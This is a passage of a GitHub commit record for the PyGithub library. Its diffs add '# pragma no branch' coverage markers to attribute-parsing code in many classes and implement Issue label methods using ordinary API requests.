\"git_pull_url\" ], str )\n self.__git_pull_url = attributes[ \"git_pull_url\" ]\n- if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None:\n+ if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_push_url\" ], str )\n self.__git_push_url = attributes[ \"git_push_url\" ]\n- if \"history\" in attributes and attributes[ \"history\" ] is not None:\n+ if \"history\" in attributes and attributes[ \"history\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"history\" ], list ) and ( len( attributes[ \"history\" ] ) == 0 or isinstance( attributes[ \"history\" ][ 0 ], dict ) )\n self.__history = [\n GistHistoryState.GistHistoryState( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"history\" ]\n ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], str )\n self.__id = attributes[ \"id\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public\" ], bool )\n self.__public = attributes[ \"public\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":15,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","changes":30,"additions":15,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","filename":"src/github/Gist.py"},{"patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","filename":"src/github/GistComment.py"},{"patch":"@@ -44,18 +44,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"change_status\", \"committed_at\", \"url\", \"user\", \"version\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None:\n+ if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"change_status\" ], dict )\n self.__change_status = CommitStats.CommitStats( self.__requester, attributes[ \"change_status\" ], completion = LazyCompletion )\n- if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None:\n+ if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committed_at\" ], str )\n self.__committed_at = attributes[ \"committed_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )\n- if \"version\" in attributes and attributes[ \"version\" ] is not None:\n+ if \"version\" in attributes and attributes[ \"version\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"version\" ], str )\n self.__version = attributes[ \"version\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","filename":"src/github/GistHistoryState.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"date\", \"email\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"date\" in attributes and attributes[ \"date\" ] is not None:\n+ if \"date\" in attributes and attributes[ \"date\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"date\" ], str )\n self.__date = attributes[ \"date\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","filename":"src/github/GitAuthor.py"},{"patch":"@@ -42,18 +42,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"content\", \"encoding\", \"sha\", \"size\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"content\" in attributes and attributes[ \"content\" ] is not None:\n+ if \"content\" in attributes and attributes[ \"content\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"content\" ], str )\n self.__content = attributes[ \"content\" ]\n- if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None:\n+ if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"encoding\" ], str )\n self.__encoding = attributes[ \"encoding\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","filename":"src/github/GitBlob.py"},{"patch":"@@ -55,27 +55,27 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"committer\", \"message\", \"parents\", \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = GitAuthor.GitAuthor( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = GitAuthor.GitAuthor( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n GitCommit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], dict )\n self.__tree = GitTree.GitTree( self.__requester, attributes[ \"tree\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","filename":"src/github/GitCommit.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","filename":"src/github/GitObject.py"},{"patch":"@@ -55,12 +55,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"object\", \"ref\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"ref\" in attributes and attributes[ \"ref\" ] is not None:\n+ if \"ref\" in attributes and attributes[ \"ref\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ref\" ], str )\n self.__ref = attributes[ \"ref\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","filename":"src/github/GitRef.py"},{"patch":"@@ -49,21 +49,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"message\", \"object\", \"sha\", \"tag\", \"tagger\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tag\" in attributes and attributes[ \"tag\" ] is not None:\n+ if \"tag\" in attributes and attributes[ \"tag\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tag\" ], str )\n self.__tag = attributes[ \"tag\" ]\n- if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None:\n+ if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tagger\" ], dict )\n self.__tagger = GitAuthor.GitAuthor( self.__requester, attributes[ \"tagger\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","filename":"src/github/GitTag.py"},{"patch":"@@ -33,15 +33,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], list ) and ( len( attributes[ \"tree\" ] ) == 0 or isinstance( attributes[ \"tree\" ][ 0 ], dict ) )\n self.__tree = [\n GitTreeElement.GitTreeElement( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"tree\" ]\n ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","filename":"src/github/GitTree.py"},{"patch":"@@ -47,21 +47,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"mode\", \"path\", \"sha\", \"size\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"mode\" in attributes and attributes[ \"mode\" ] is not None:\n+ if \"mode\" in attributes and attributes[ \"mode\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mode\" ], str )\n self.__mode = attributes[ \"mode\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","filename":"src/github/GitTreeElement.py"},{"patch":"@@ -99,21 +99,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"active\", \"config\", \"created_at\", \"events\", \"id\", \"last_response\", \"name\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"active\" in attributes and attributes[ \"active\" ] is not None:\n+ if \"active\" in attributes and attributes[ \"active\" ] is not None: # pragma no branch\n self.__active = attributes[ \"active\" ]\n- if \"config\" in attributes and attributes[ \"config\" ] is not None:\n+ if \"config\" in attributes and attributes[ \"config\" ] is not None: # pragma no branch\n self.__config = attributes[ \"config\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"events\" in attributes and attributes[ \"events\" ] is not None:\n+ if \"events\" in attributes and attributes[ \"events\" ] is not None: # pragma no branch\n self.__events = attributes[ \"events\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None:\n+ if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None: # pragma no branch\n self.__last_response = attributes[ \"last_response\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","filename":"src/github/Hook.py"},{"patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None\n@@ -257,59 +268,59 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"assignee\", \"body\", \"closed_at\", \"closed_by\", \"comments\", \"created_at\", \"html_url\", \"id\", \"labels\", \"milestone\", \"number\", \"pull_request\", \"repository\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None:\n+ if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"assignee\" ], dict )\n self.__assignee = NamedUser.NamedUser( self.__requester, attributes[ \"assignee\" ], completion = LazyCompletion )\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_at\" ], str )\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None:\n+ if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_by\" ], dict )\n self.__closed_by = NamedUser.NamedUser( self.__requester, attributes[ \"closed_by\" ], completion = LazyCompletion )\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"labels\" in attributes and attributes[ \"labels\" ] is not None:\n+ if \"labels\" in attributes and attributes[ \"labels\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"labels\" ], list ) and ( len( attributes[ \"labels\" ] ) == 0 or isinstance( attributes[ \"labels\" ][ 0 ], dict ) )\n self.__labels = [\n Label.Label( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"labels\" ]\n ]\n- if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None:\n+ if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"milestone\" ], dict )\n self.__milestone = Milestone.Milestone( self.__requester, attributes[ \"milestone\" ], completion = LazyCompletion )\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None:\n+ if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None: # pragma no branch\n self.__pull_request = attributes[ \"pull_request\" ]\n- if \"repository\" in attributes and attributes[ \"repository\" ] is not None:\n+ if \"repository\" in attributes and attributes[ \"repository\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repository\" ], dict )\n self.__repository = Repository.Repository( self.__requester, attributes[ \"repository\" ], completion = LazyCompletion )\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":21,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","changes":53,"additions":32,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py"},{"patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n 